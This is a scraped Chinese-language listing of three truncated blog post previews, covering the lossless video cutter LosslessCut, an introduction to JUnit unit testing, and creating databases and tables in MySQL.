这个是一个开源项目LosslessCut 无损剪切就是基于关键帧的剪切&#xff0c;不需要重编码&#xff0c;因此速度非常快&#xff0c; 缺点就是切割时间无法达到非常精确&#xff0c;可能前后会有几秒的差距&#xff0c; 要做到精确的剪切&#xff0c;只能重编码。 LosslessCut在切…

Junit单元测试入门

目录 一、单元测试 1.1 基本概念 1.2 以往测试存在的问题和不足 二、快速入门 2.1 基本步骤 2.2 基本使用示例&#xff08;vscode为例&#xff09; 2.2 断言机制&#xff08;重要&#xff09; 2.3 其它注解 一、单元测试 1.1 基本概念 针对最小单元的测试&#xff0c…

mysql创建数据库和表

​ 大家好&#xff0c;我是程序员小羊&#xff01; 前言&#xff1a; 一、MySQL数据库和表的基础概念 在深入讲解如何在MySQL中创建数据库和表之前&#xff0c;先了解一些基础概念。 1.1 数据库和表的概念 数据库&#xff08;Database&#xff09;&#xff1a;数据库是数据存…